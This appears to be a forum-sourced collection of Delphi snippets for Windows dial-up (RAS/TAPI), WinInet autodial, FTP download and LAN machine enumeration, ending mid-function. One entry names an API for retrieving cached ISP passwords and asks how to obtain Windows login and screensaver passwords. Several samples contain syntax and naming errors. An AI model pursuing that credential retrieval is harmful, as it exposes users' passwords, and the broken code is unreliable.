TRASPROJECTION = integer;

TRASPPPIP = record

dwSize : DWORD;

dwError : DWORD;

szIpAddress : array [0..RAS_MaxIpAddress] of char;

end;

function RasDialA(RasDialExtensions: PRASDIALEXTENSIONS;

PhoneBook : PChar;

RasDialParams : PRASDIALPARAMS;

NotifierType : DWORD;

Notifier : Pointer;

RasConn : PHRASCONN

): DWORD; stdcall;

function RasGetErrorStringA(

uErrorValue : DWORD; // error to get string for

szErrorString : PChar; // buffer to hold error string

cBufSize : DWORD // size, in characters, of buffer

): DWORD; stdcall;

function RasHangupA(RasConn: THRASCONN): DWORD; stdcall;

function RasConnectionStateToString(nState : Integer) : String;

function RasGetConnectStatusA(

hRasConn: THRASCONN; // handle to RAS connection of interest

lpRasConnStatus : PRASCONNSTATUS // buffer to receive status data

): DWORD; stdcall;

function RasEnumConnectionsA(

pRasConn : PRASCONN; // buffer to receive connections data

pCB : PDWORD; // size in bytes of buffer

pcConnections : PDWORD // number of connections written to buffer

) : DWORD; stdcall

function RasEnumEntriesA(

Reserved : Pointer; // reserved, must be NIL

szPhonebook : PChar; // full path and filename of phonebook file

lpRasEntryName : PRASENTRYNAME; // buffer to receive entries

lpcb : PDWORD; // size in bytes of buffer

lpcEntries : PDWORD // number of entries written to buffer

) : DWORD; stdcall;

function RasGetEntryDialParamsA(

lpszPhonebook : PChar; // pointer to the full path and filename of the phonebook file

lprasdialparams : PRASDIALPARAMS; // pointer to a structure that receives the connection parameters

lpfPassword : PBOOL // indicates whether the user's password was retrieved

) : DWORD; stdcall;

function RasEditPhonebookEntryA(

hWndParent : HWND; // handle to the parent window of the dialog box

lpszPhonebook : PChar; // pointer to the full path and filename of the phonebook file

lpszEntryName : PChar // pointer to the phonebook entry name

) : DWORD; stdcall;

//function RasEntryDlgA(

// lpszPhonebook : PChar; // pointer to the full path and filename of the phone-book file

// lpszEntry : PChar; // pointer to the name of the phone-book entry to edit, copy, or create

// lpInfo : PRASENTRYDLG // pointer to a structure that contains additional parameters

// ) : DWORD; stdcall;

function RasCreatePhonebookEntryA(

hWndParent : HWND; // handle to the parent window of the dialog box

lpszPhonebook : PChar // pointer to the full path and filename of the phonebook file

) : DWORD; stdcall;

function RasGetProjectionInfoA(

hRasConn : THRASCONN; // handle that specifies remote access connection of interest

RasProjection : TRASPROJECTION; // specifies type of projection information to obtain

lpProjection : Pointer; // points to buffer that receives projection information

lpcb : PDWORD // points to variable that specifies buffer size

) : DWORD; stdcall;

function RasGetIPAddress: string;

implementation

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function RasConnectionStateToString(nState : Integer) : String;

begin

case nState of

RASCS_OpenPort: Result := 'Opening Port';

RASCS_PortOpened: Result := 'Port Opened';

RASCS_ConnectDevice: Result := 'Connecting Device';

RASCS_DeviceConnected: Result := 'Device Connected';

RASCS_AllDevicesConnected: Result := 'All Devices Connected';

RASCS_Authenticate: Result := 'Starting Authentication';

RASCS_AuthNotify: Result := 'Authentication Notify';

RASCS_AuthRetry: Result := 'Authentication Retry';

RASCS_AuthCallback: Result := 'Callback Requested';

RASCS_AuthChangePassword: Result := 'Change Password Requested';

RASCS_AuthProject: Result := 'Projection Phase Started';

RASCS_AuthLinkSpeed: Result := 'Link Speed Calculation';

RASCS_AuthAck: Result := 'Authentication Acknowledged';

RASCS_ReAuthenticate: Result := 'Reauthentication Started';

RASCS_Authenticated: Result := 'Authenticated';

RASCS_PrepareForCallback: Result := 'Preparation For Callback';

RASCS_WaitForModemReset: Result := 'Waiting For Modem Reset';

RASCS_WaitForCallback: Result := 'Waiting For Callback';

RASCS_Projected: Result := 'Projected';

{$IFDEF WINVER400}

RASCS_StartAuthentication: Result := 'Start Authentication';

RASCS_CallbackComplete: Result := 'Callback Complete';

RASCS_LogonNetwork: Result := 'Logon Network';

{$ENDIF}

RASCS_SubEntryConnected: Result := '';

RASCS_SubEntryDisconnected: Result := '';

RASCS_Interactive: Result := 'Interactive';

RASCS_RetryAuthentication: Result := 'Retry Authentication';

RASCS_CallbackSetByCaller: Result := 'Callback Set By Caller';

RASCS_PasswordExpired: Result := 'Password Expired';

RASCS_Connected: Result := 'Connected';

RASCS_Disconnected: Result := 'Disconnected';

else

Result := 'Connection state #' + IntToStr(nState);

end;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function RasGetIPAddress: string;

var

RASConns : TRasConn;

dwSize : DWORD;

dwCount : DWORD;

RASpppIP : TRASPPPIP;

begin

Result := '';

RASConns.dwSize := SizeOf(TRASConn);

RASpppIP.dwSize := SizeOf(RASpppIP);

dwSize := SizeOf(RASConns);

if RASEnumConnectionsA(@RASConns, @dwSize, @dwCount) = 0 then begin

if dwCount > 0 then begin

dwSize := SizeOf(RASpppIP);

RASpppIP.dwSize := SizeOf(RASpppIP);

if RASGetProjectionInfoA(RASConns.hRasConn,

RASP_PppIp,

@RasPPPIP,

@dwSize) = 0 then

Result := StrPas(RASpppIP.szIPAddress);

end;

end;

end;

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

function RasDialA; external rasapi32 name 'RasDialA';

function RasGetErrorStringA; external rasapi32 name 'RasGetErrorStringA';

function RasHangUpA; external rasapi32 name 'RasHangUpA';

function RasGetConnectStatusA; external rasapi32 name 'RasGetConnectStatusA';

function RasEnumConnectionsA; external rasapi32 name 'RasEnumConnectionsA';

function RasEnumEntriesA; external rasapi32 name 'RasEnumEntriesA';

function RasGetEntryDialParamsA; external rasapi32 name 'RasGetEntryDialParamsA';

function RasEditPhonebookEntryA; external rasapi32 name 'RasEditPhonebookEntryA';

//function RasEntryDlgA; external rasapi32 name 'RasEntryDlgA';

function RasCreatePhonebookEntryA; external rasapi32 name 'RasCreatePhonebookEntryA';

function RasGetProjectionInfoA; external rasapi32 name 'RasGetProjectionInfoA';

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

end.

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}


断开拨号连接
断开拨号连接

function DisconnectActiveConnection: Boolean;

var

RasEntry: TRasEntry;

EntryInfoSize: Cardinal;

DeviceInfoSize: Cardinal;

RasGetEntryPropertiesResult: Integer;

begin

ZeroMemory(@RasEntry, SizeOf(TRasEntry));

RasEntry.dwSize := SizeOf(TRasEntry);

EntryInfoSize := SizeOf(TRasEntry);

RasGetEntryPropertiesResult := RasGetEntryProperties(nil,

MyActiveEntryName), @RasEntry, EntryInfoSize, nil, DeviceInfoSize);

if (RasGetEntryPropertiesResult = 0) then

Result := DisconnectDevice(StrPas(RasEntry.szDeviceName));

end;


TAPI.PAS

附件>>>>> TAPI.zip


API 拨号
function tapiRequestMakeCall(DestAddress, AppName,

CalledParty, Comment: PChar): Longint; stdcall; external 'TAPI32.DLL';

procedure TForm1.Button1Click(Sender: TObject);

var

PhoneNumber, AppName: array[0..255] of Char;

begin

PhoneNumber := '1234567890';

StrPCopy(AppName, Application.Title);

tapiRequestMakeCall(PhoneNumber, AppName, '', '');

end;


电话拨号
1。创建新的拨号连接。

参数：

hwn PROCEDURE TForm1.button1click(Sender:TObject);

VAR dwhandle:word;

aaa:integer;

begin

aaa:=getactivewindow();

dwResult:=RasCreatePhonebookEntryA(handle,'');

或DWresult:=RasCreatePhonebookEntryA(aaa,'');

if dwResult=0 then

memo1.lines.add('新建拨号连接成功！')

ELSE

memo1.lines.add('新建拨号连接失败！')

end;

2.修改指定拨号连接的属性。

Function RasEditPhonebookEntryA(hwnd:Thandle;lpszPhonebook:pchar;lpszEntryName:pchar):Dword;

stdcall; {位于Interface的USES 下 TYPE。。。end 之外}

lpszEntryName(pchar):要修改的拨号连接的名称，如‘163’，‘169’等。

函数返回值：0表示成功，否则为错误。

例：PROcedure TForm1.button2click(Sender:TObject);

如上。

3.获取当前系统中可用的拨号连接名称.。

在建立了拨号连接后，WIN9X将拨号连接的名称和属性写了注册表中，我们可以从注册表中可用的拨号连接名称

及InterNet Explorer中的默认连接名称。

在注册表的HKEY_USERS.DEFAULT下,列出了已经在拨号网络中建立的拨号连接

的名称及其属性设置,其中各项目的名称即为可用的拨号连接的名称;各项目的值即为各连接的属性设置.

如果在InterNet Explorer 中设置了默认连接名称(Internet 选项=>>连接=>>设置=>>使用以下拨号网络连接)

则在注册表的HKEY_USERS.Default下,有一个字符串类型的键值,键值名InternetProfile,其值

即为Internet Explorer中设置的默认连接名称.

{在Uses中增加Registry单元,用于操作注册表}

procedure TForm1.button3click(Sender:TObject);

var

registrytemp:TRegistry;

stringtemp:TStringlist;

intindex:integer;

begin

registrytemp:=TRegistry.Create;

stringTemp:=Tstringlist.Create;

with registryTemp DO

BEGIN

RootKey:=HKEY_USERS; //根键置为HKEY_USERS

//如果存在于子键.Default

if OpenKey('.Default',false) then

getValueNames(stringsTemp); //读出各项目的名称,即拨号连接名称

closekey;

end;

memo1.lines.add( '************当前系统中有'+IntTostr(stringsTemp.count)'

+'各可用的拨号连接如下******');

for intindex:=0 to stringsTemp.count-1 do

memo1.lines.add(stringstemp.strings[intindex]); //列出Internet explorer中默认连接名称.

if registrytemp.Openkey('.Default',false') then

mome1.lines.add('Internet explorer中默认连接名称为'+Registry.readstring('InternetProfile'));

//释放内存

RegistryTemp.free;

StringsTemp.free;

end;

4.用指定的拨号连接拨号

winexec('rundll32.exe rnaui.dll,RnaDial 163',SW_SHOWNORMAL);

其中字符串中的最后一个参数'163'为拨号连接的名称.

Procedure TForm1.botton4click(Sender:TObject);

var

strDiaName:string;

begin

strDiaName:='163';

memo1.lines.add('*****用拨号连接'+strDiaName+'实现拨号上网******');

winexec('rundll32.exe rnaui.dll,RnaDial 163',SW_SHOWNORMAL);

end;

end;

用以下API函数：(代码为VB)

'AutoDial是一个使用Tapi函数拨号的范例

'

Option Explicit

Private Declare Function tapiRequestMakeCall& Lib "TAPI32.DLL" (ByVal DestAddress$, ByVal AppName$, ByVal CalledParty$, ByVal Comment$)

Private Const TAPIERR_NOREQUESTRECIPIENT = -2&

Private Const TAPIERR_REQUESTQUEUEFULL = -3&

Private Const TAPIERR_INVALDESTADDRESS = -4&

Private Sub cmdDial_Click()

Dim buff As String

Dim nResult As Long

‘在此拨号

nResult = tapiRequestMakeCall&(Trim$(txtNumber), CStr(Caption), "Test Dial", "")

If nResult <> 0 Then

buff = "Error dialing number : "

Select Case nResult

Case TAPIERR_NOREQUESTRECIPIENT

buff = buff & "No Windows Telephony dialing application is running and none could be started."

Case TAPIERR_REQUESTQUEUEFULL

buff = buff & "The queue of pending Windows Telephony dialing requests is full."

Case TAPIERR_INVALDESTADDRESS

buff = buff & "The phone number is not valid."

Case Else

buff = buff & "Unknown error."

End Select

MsgBox buff

End If

End Sub

Private Sub cmdExit_Click()

Unload Me

End Sub

Private Sub Form_Load()

Move (Screen.Width - Width) 2, (Screen.Height - Height) 2

EnableDial

End Sub

Private Sub txtNumber_Change()

EnableDial

End Sub

Private Sub EnableDial()

cmdDial.Enabled = Len(Trim$(txtNumber)) > 0

End Sub

Tapi的拨号功能和通话工能是最强的，但也比较繁。

不过如果只是拨号，那么用tapiRequestMakeCall()是非常方便的！

当然，如过要进行更复杂的组合拨号和电话控制就要涉及更复杂的tapi函数,如lineMakCall()

lineDial()和消息处理

详见msdn


TAPI基本函数
only use in tapi version 1.4

basic telephony services reference

1.tapi初始化与关闭

lineinitializeex 初始化一个tapi应用, 同步返回.

lineshutdown 关闭一个tapi应用, 同步返回.

2.线路版本协商

linenegotiateapiversion 应用和tapi协商一个可以使用的tapi版本, 同步返回.

3.线路设备状态与能力

linegetdevcaps 得到指定线路设备的实际参数能力, 同步返回.

linegetdevconfig 得到媒体流设备的配置, 同步返回.

linegetlinedevstatus 得到指定的已打开线路的当前状态, 同步返回.

linesetdevconfig 设置指定媒体流设备的配置, 同步返回.

linesetstatusmessages 设置那些状态改变消息可以通知应用, 同步返回.

linegetstatusmessages 得到当前使用的状态改变消息设置, 同步返回.

linegetid 返回与指定的线路,地址或呼叫相关联的设备id号, 同步返回.

linegeticon 得到显示的icon, 同步返回.

lineconfigdialogedit 显示一个对话框,用户可以改变线路设备的设置, 同步返回.

4.地址

linegetaddresscaps 得到一个地址的电话参数, 同步返回.

linegetaddressstatus 得到指定地址的当前状态, 同步返回.

linegetaddressid ?, 同步返回.

5.打开/关闭线路设备

lineopen 以指定的打开方式打开一条指定的线路设备, 同步返回.

lineclose 关闭一个已经打开了的线路设备, 同步返回.

6.地址格式

linetranslateaddress 在规范格式与拨号格式间转化地址, 同步返回.

linesetcurrentlocation 设置当地电话区号??, 同步返回.

linesettolllist 操作响铃列表, 同步返回.

linegettranslatecaps 返回地址的转化能力, 同步返回.

7.呼叫状态与设置

linegetcallinfo 返回确定的呼叫信息, 同步返回.

linegetcallstatus 返回指定呼叫的完整状态信息, 同步返回.

linesetappspecific 设置一个呼叫信息结构的特定域, 同步返回.

8.建立呼叫

linemakecall 建立一个拨出呼叫话并返回句柄, 异步返回.

linedial 拨打(可拨号)地址, 异步返回.

9.来话应答

lineanswer 来话应答, 异步返回.

linesetnumrings 设定来话被默认应答前的响铃次数, 同步返回.

linegetnumrings 返回来话被默认应答前的响铃次数最小值, 同步返回.

10.呼叫特殊控制

linesetcallprivilege 设置应用程序的特权??, 同步返回.

11.挂断呼叫

linedrop 挂断或是取消呼叫, 异步返回.

linedeallocatecall 释放指定呼叫句柄, 同步返回.

12.呼叫句柄处理

linehandoff , 同步返回.

linegetnewcalls 返回应用没有线路设备或地址句柄的呼叫句柄列表, 同步返回.

linegetconfrelatedcalls 返回同一电话会议的呼叫句柄列表, 同步返回.

13.位置与国家的信息

linetranslatedialog 显示一个对话框,用户可以修改位置与国家信息, 同步返回.

linegetcountry 返回指定国家,拨号规则和其他信息, 同步返回.

linegetrequest 得到dll的下次请求, 同步返回.


DELPHI中如何调用拨号函数
A: 可以执行下面的语句：

winexec('rundll32.exe rnaui.dll,RnaDial '+'我的连接',9),其中我的连接为拨号网络中的名字。

另外，如果需要写电话拨号方面的程序，可以参照以下程序代码。注意：调试以下程序需要ras单元，还要加入一个私有变量dialparams: TRasDialParams;

1.得到机器的调制解调器列表

var

buffer: Pointer;

devices: LPRasDevInfo;

devSize, ndevs: Integer;

begin

devSize := 0;

ndevs := 0;

if RasEnumDevices(nil, devSize, ndevs) <> ERROR_BUFFER_TOO_SMALL then

ShowMessage('RasEnumDevices failed.');

buffer := AllocMem(devSize);

try

devices := buffer;

devices^.dwSize := SizeOf(TRasDevInfo);

if RasEnumDevices(buffer, devSize, ndevs) = 0 then

begin

while ndevs > 0 do

begin

cbo_Device.Items.Add(Format('%s=%s', [devices^.szDeviceName, devices^.szDeviceType]));

Inc(devices);

Dec(ndevs);

end;

end

else

ShowMessage('RasEnumDevices failed.');

finally

FreeMem(buffer);

end;

end;

2.如何拨号

var

r: integer;

c: Array[0..100] of Char;

hRas: THRasConn;

begin

Screen.Cursor := crHourglass;

FillChar(dialparams, SizeOf(TRasDialParams), 0);

with dialparams do

begin

dwSize := Sizeof(TRasDialParams);

//StrPCopy(szEntryName, lstEntrys.Items[lstEntrys.ItemIndex]);

StrPCopy(szUserName, edt_User.Text);//改变用户名

StrPCopy(szPassword, edt_Password.Text+'1234');//改变密码

StrPCopy(szPhoneNumber,edt_phone.Text);//改变电话号码

end;

hRas := 0;

r := RasDial(nil, nil,dialparams,0,nil,hRas);

if r <> 0 then

begin

RasGetErrorString(r, c, 100);

ShowMessage('错误: ' + c);

end;

Screen.Cursor := crDefault;

注意你要有RAS.pas unit


拨号上网的ISP密码
WNetEnumCachedPasswords

获得拨号上网的ISP密码，可是现在我需要获得Windows登录密码和屏幕保护密码，有没有API可以做这项工作呢？


IE的自动拨号和挂断
automatically dial/hangup the default Internet connection?

uses

WinInet;

// Causes the modem to automatically dial the default Internet connection.

procedure TForm1.Button1Click(Sender: TObject);

var

dwConnectionTypes: DWORD;

begin

dwConnectionTypes := INTERNET_CONNECTION_MODEM + INTERNET_CONNECTION_LAN +

INTERNET_CONNECTION_PROXY;

if not InternetGetConnectedState(@dwConnectionTypes, 0) then

// not connected

if not InternetAutodial(INTERNET_AUTODIAL_FORCE_ONLINE or

INTERNET_AUTODIAL_FORCE_UNATTENDED, 0) then

begin

// error

end;

end;

// hangup the default Internet connection.

procedure TForm1.Button2Click(Sender: TObject);

var

dwConnectionTypes: DWORD;

begin

dwConnectionTypes := INTERNET_CONNECTION_MODEM + INTERNET_CONNECTION_LAN +

INTERNET_CONNECTION_PROXY;

if InternetGetConnectedState(@dwConnectionTypes, 0) then

// connected

InternetAutodialHangup(0);

end;


从FTP上面下载文件
uses

WinInet, ComCtrls;

function FtpDownloadFile(strHost, strUser, strPwd: string;

Port: Integer; ftpDir, ftpFile, TargetFile: string; ProgressBar: TProgressBar): Boolean;

function FmtFileSize(Size: Integer): string;

begin

if Size >= $F4240 then

Result := Format('%.2f', [Size / $F4240]) + ' Mb'

else

if Size < 1000 then

Result := IntToStr(Size) + ' bytes'

else

Result := Format('%.2f', [Size / 1000]) + ' Kb';

end;

const

READ_BUFFERSIZE = 4096; // or 256, 512, ...

var

hNet, hFTP, hFile: HINTERNET;

buffer: array[0..READ_BUFFERSIZE - 1] of Char;

bufsize, dwBytesRead, fileSize: DWORD;

sRec: TWin32FindData;

strStatus: string;

LocalFile: file;

bSuccess: Boolean;

begin

Result := False;

{ Open an internet session }

hNet := InternetOpen('Program_Name', // Agent

INTERNET_OPEN_TYPE_PRECONFIG, // AccessType

nil, // ProxyName

nil, // ProxyBypass

0); // or INTERNET_FLAG_ASYNC / INTERNET_FLAG_OFFLINE

{

Agent contains the name of the application or

entity calling the Internet functions

}

{ See if connection handle is valid }

if hNet = nil then

begin

ShowMessage('Unable to get access to WinInet.Dll');

Exit;

end;

{ Connect to the FTP Server }

hFTP := InternetConnect(hNet, // Handle from InternetOpen

PChar(strHost), // FTP server

port, // (INTERNET_DEFAULT_FTP_PORT),

PChar(StrUser), // username

PChar(strPwd), // password

INTERNET_SERVICE_FTP, // FTP, HTTP, or Gopher?

0, // flag: 0 or INTERNET_FLAG_PASSIVE

0);// User defined number for callback

if hFTP = nil then

begin

InternetCloseHandle(hNet);

ShowMessage(Format('Host "%s" is not available',[strHost]));

Exit;

end;

{ Change directory }

bSuccess := FtpSetCurrentDirectory(hFTP, PChar(ftpDir));

if not bSuccess then

begin

InternetCloseHandle(hFTP);

InternetCloseHandle(hNet);

ShowMessage(Format('Cannot set directory to %s.',[ftpDir]));

Exit;

end;

{ Read size of file }

if FtpFindFirstFile(hFTP, PChar(ftpFile), sRec, 0, 0) <> nil then

begin

fileSize := sRec.nFileSizeLow;

// fileLastWritetime := sRec.lastWriteTime

end else

begin

InternetCloseHandle(hFTP);

InternetCloseHandle(hNet);

ShowMessage(Format('Cannot find file ',[ftpFile]));

Exit;

end;

{ Open the file }

hFile := FtpOpenFile(hFTP, // Handle to the ftp session

PChar(ftpFile), // filename

GENERIC_READ, // dwAccess

FTP_TRANSFER_TYPE_BINARY, // dwFlags

0); // This is the context used for callbacks.

if hFile = nil then

begin

InternetCloseHandle(hFTP);

InternetCloseHandle(hNet);

Exit;

end;

{ Create a new local file }

AssignFile(LocalFile, TargetFile);

{$i-}

Rewrite(LocalFile, 1);

{$i+}

if IOResult <> 0 then

begin

InternetCloseHandle(hFile);

InternetCloseHandle(hFTP);

InternetCloseHandle(hNet);

Exit;

end;

dwBytesRead := 0;

bufsize := READ_BUFFERSIZE;

while (bufsize > 0) do

begin

Application.ProcessMessages;

if not InternetReadFile(hFile,

@buffer, // address of a buffer that receives the data

READ_BUFFERSIZE, // number of bytes to read from the file

bufsize) then Break; // receives the actual number of bytes read

if (bufsize > 0) and (bufsize <= READ_BUFFERSIZE) then

BlockWrite(LocalFile, buffer, bufsize);

dwBytesRead := dwBytesRead + bufsize;

{ Show Progress }

ProgressBar.Position := Round(dwBytesRead * 100 / fileSize);

Form1.Label1.Caption := Format('%s of %s / %d %%',[FmtFileSize(dwBytesRead),FmtFileSize(fileSize) ,ProgressBar.Position]);

end;

CloseFile(LocalFile);

InternetCloseHandle(hFile);

InternetCloseHandle(hFTP);

InternetCloseHandle(hNet);

Result := True;

end;


通过程序获得局域网内的全部机器名
type

PnetResourceArr = ^TNetResource;

implementation

procedure GetServerList(List:TStrings);

Type

{$H+}

PMyRec = ^MyRec;

MyRec = Record

dwScope : Integer;

dwType : Integer;

dwDisplayType : Integer;

dwUsage : Integer;

LocalName : String;

RemoteName : String;

Comment : String;

Provider : String;

End;

{H-}

Var

NetResource : TNetResource;

TempRec : PMyRec;

Buf : Pointer;

Count,

BufSize,

Res : DWORD;

lphEnum : THandle;

p : PNetResourceArr;

i,

j : SmallInt;

NetworkTypeList : TList;

begin

// Result := False;

NetworkTypeList := TList.Create;

List.BeginUpdate;

List.Clear;

GetMem(Buf, 8192);

Try

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONTAINER, Nil,lphEnum);

If Res <> 0 Then Raise Exception(Res);

Count := $FFFFFFFF;

BufSize := 8192;

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If Res = ERROR_NO_MORE_ITEMS Then Exit;

If (Res <> 0) Then Raise Exception(Res);

P := PNetResourceArr(Buf);

For I := 0 To Count - 1 Do

Begin

New(TempRec);

TempRec^.dwScope := P^.dwScope;

TempRec^.dwType := P^.dwType ;

TempRec^.dwDisplayType := P^.dwDisplayType ;

TempRec^.dwUsage := P^.dwUsage ;

TempRec^.LocalName := StrPas(P^.lpLocalName);

TempRec^.RemoteName := StrPas(P^.lpRemoteName);

TempRec^.Comment := StrPas(P^.lpComment);

TempRec^.Provider := StrPas(P^.lpProvider);

NetworkTypeList.Add(TempRec);

Inc(P);

End;

Res := WNetCloseEnum(lphEnum);

If Res <> 0 Then Raise Exception(Res);

For J := 0 To NetworkTypeList.Count-1 Do

Begin

TempRec := NetworkTypeList.Items[J];

NetResource := TNetResource(TempRec^);

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

If Res <> 0 Then Raise Exception(Res);

While true Do

Begin

Count := $FFFFFFFF;

BufSize := 8192;

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If Res = ERROR_NO_MORE_ITEMS Then Break;

If (Res <> 0) Then Raise Exception(Res);

P := PNetResourceArr(Buf);

For I := 0 To Count - 1 Do

Begin

List.Add(P^.lpRemoteName);

Inc(P);

End;

End;

End;

Res := WNetCloseEnum(lphEnum);

If Res <> 0 Then Raise Exception(Res);

//Result := True;

Finally

FreeMem(Buf);

NetworkTypeList.Destroy;

End;

List.EndUpdate;

end;

procedure GetUserList(fServer:string;List:TStrings);

Var

NetResource : TNetResource;

Buf : Pointer;

Count,

BufSize,

Res : DWord;

Ind : Integer;

lphEnum : THandle;

Temp : PNetResourceArr;

Begin

List.Clear;

GetMem(Buf, 8192);

Try

FillChar(NetResource, SizeOf(NetResource), 0);

NetResource.lpRemoteName := @fServer[1];

NetResource.dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;

NetResource.dwUsage := RESOURCEUSAGE_CONTAINER;

NetResource.dwScope := RESOURCETYPE_DISK;

Res := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, RESOURCEUSAGE_CONTAINER, @NetResource,lphEnum);

If Res <> 0 Then Exit;

While True Do

Begin

Count := $FFFFFFFF;

BufSize := 8192;

Res := WNetEnumResource(lphEnum, Count, Pointer(Buf), BufSize);

If Res = ERROR_NO_MORE_ITEMS Then Exit;

If (Res <> 0) then Exit;

Temp := PNetResourceArr(Buf);

For Ind := 0 to Count - 1 do

Begin

List.Add(Temp^.lpRemoteName + 2); { Add all the network usernames to List StringList }

Inc(Temp);

End;

End;

Res := WNetCloseEnum(lphEnum);

If Res <> 0 Then Raise Exception(Res);

// Result := True;

Finally

FreeMem(Buf);

End;

End;

这程序是网上来的，我整理了一个，就变成现在这样了。

procedure oncreate;

begin GetServerList(Listbox1.Items);end;

procedure Listbox1.Onclick

begin

GetUserList(Listbox1.Items[Listbox1.ItemIndex],Listbox2.Items);

end;

**************************************

获得网上邻居列表的程序

程序如下：

var

i : Integer;

ErrCode : Integer;

NetRes : Array[0..1023] of TNetResource;

EnumHandle : Thandle;

EnumEntries : Dword;

BufferSize : Dword;

ComputerIP,ComputerName:String;

begin

//try

With NetRes[0] do begin

dwScope :=RESOURCE_GLOBALNET;

dwType :=RESOURCETYPE_ANY;

dwDisplayType :=RESOURCEDISPLAYTYPE_DOMAIN;

dwUsage :=RESOURCEUSAGE_CONNECTABLE;

lpLocalName :=NIL;

lpRemoteName :=NIL;

lpComment :=NIL;

lpProvider :=NIL;

end;

{ get net root }

ErrCode:=WNetOpenEnum(

RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

RESOURCEUSAGE_CONTAINER,

@NetRes[0],

EnumHandle

);

If ErrCode=NO_ERROR then begin

EnumEntries:=1;

BufferSize:=SizeOf(NetRes);

ErrCode:=WNetEnumResource(EnumHandle,EnumEntries,@NetRes[0],BufferSize);

WNetCloseEnum(EnumHandle);

ErrCode:=WNetOpenEnum(

RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

RESOURCEUSAGE_CONNECTABLE,

@NetRes[0],

EnumHandle

);

EnumEntries:=1024;

BufferSize:=SizeOf(NetRes);

ErrCode:=WNetEnumResource(

EnumHandle,

EnumEntries,

@NetRes,

BufferSize

);

for i:=0 to 1023 do

if NetRes[i].lpRemoteName='' then Exit

else begin

ComputerName:=Copy(NetRes[i].lpRemoteName,3,Length(NetRes[i].lpRemoteName)-2);

ComputerIP:=GetIP(ComputerName);

ShowMessage('计算机名' + NetRes[i].lpRemoteName + chr(13)

+ '计算机说明:' + NetRes[i].lpComment + chr(13)

+ 'IP地址:' + ComputerIP);

end;

end;

*************

请问怎样获取所有能访问的网上邻居中的计算机名称列表？

通过Windows Shell API

用SHGetSpecialFolderLocation获得Neighborhood的PIDL，然后将一个IShellFolder接

口绑定到这个PIDL，再然后就可以用这个接口的EnumObjects函数枚举其中的对象了。

因我不会Delphi，所以不知道用Delphi应该具体如何做，下面一段C++代码列出了"我

的电脑"下的所有项目(我的计算机没有安装网络邻居，所以用这个代替，方法应该是

一样的)

#include <stdio.h>

#include <iostream.h>

#include <comdef.h>

#include <windows.h>

#include <shellapi.h>

#include <shlobj.h>

#include <shlguid.h>

#include <shlwapi.h>

void _inline error(){ cerr<<"ERROR!"<<endl; _exit(1); }

void main(int argc, char* argv[])

{

IMallocPtr pMalloc;

IShellFolderPtr pShellFolder,pFolder;

LPITEMIDLIST pidl;

IEnumIDListPtr pEnum;

HRESULT hr;

STRRET Name;

ULONG celtFetched;

SHGetMalloc(&pMalloc);

if (!SUCCEEDED(SHGetDesktopFolder(&pShellFolder)))

error();

if (!SUCCEEDED(SHGetSpecialFolderLocation(NULL,CSIDL_DRIVES,&pidl)))

error();

pShellFolder->BindToObject(pidl,NULL,IID_IShellFolder,(LPVOID*)&pFolder);

hr=pFolder->EnumObjects(NULL,SHCONTF_FOLDERS|SHCONTF_NONFOLDERS|

SHCONTF_INCLUDEHIDDEN,&pEnum);

while ((hr = pEnum->Next (1, &pidl, &celtFetched)) != S_FALSE &&

celtFetched == 1)

{

hr = pFolder->GetDisplayNameOf (pidl, SHGDN_NORMAL , &Name);

if (FAILED (hr))

{

error();

break;

}

printf("%s",Name.cStr);

}

if (!pidl)

pMalloc->Free(pidl);

}

**************

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ComCtrls, ImgList, ExtCtrls, ToolWin;

type

TForm1 = class(TForm)

ImageList1: TImageList;

ToolBar1: TToolBar;

ToolButton1: TToolButton;

Panel1: TPanel;

ResourceTree: TTreeView;

Splitter1: TSplitter;

ResourceList: TListView;

Panel2: TPanel;

lbScope: TLabel;

lbType: TLabel;

lbDisplayType: TLabel;

lbUsage: TLabel;

lbLocalName: TLabel;

lbRemoteName: TLabel;

lbComment: TLabel;

lbProvider: TLabel;

ToolButton2: TToolButton;

procedure Button1Click(Sender: TObject);

procedure ResourceTreeChange(Sender: TObject; Node: TTreeNode);

procedure ToolButton2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

function AddTreeItem(nr:NETRESOURCE;node:TTreeNode):TTreeNode;

function EnumNetWorkResource(lpnr:PNetResource;node:TTreeNode):Boolean;

procedure ConnectResource(pnr:PNetResource);

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

function GetLastErrorText:string;

var

dwSize:DWORD;

lpszTemp:LPSTR;

begin

dwSize:=512;

lpszTemp:=nil;

try

GetMem(lpszTemp,dwSize);

FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ARGUMENT_ARRAY,

nil,GetLastError,LANG_NEUTRAL,lpszTemp,dwSize,nil);

finally

Result:=StrPas(lpszTemp);

FreeMem(lpszTemp);

end;

end;

function TForm1.EnumNetWorkResource(lpnr:PNetResource;node:TTreeNode):Boolean;

var

nr:NetResource;

hEnum:THandle;

lpnrLocal: PNETRESOURCE;

cbBuffer:DWORD;

cEntries,dwEnumResult:DWORD;

i:Integer;

LocalNode:TTreeNode;

begin

Result:=False;

cbBuffer:=163840;

cEntries:=$ffffffff;

lpnrLocal:=nil;

if(WNetOpenEnum(RESOURCE_GLOBALNET,

RESOURCETYPE_ANY,

0,

lpnr,

hEnum)<>NO_ERROR)then

begin

ShowMessage('Open enum error,node='+lpnr^.lpRemoteName);

ShowMessage(GetLastErrorText);

Result:=False;

Exit;

end;

try

repeat

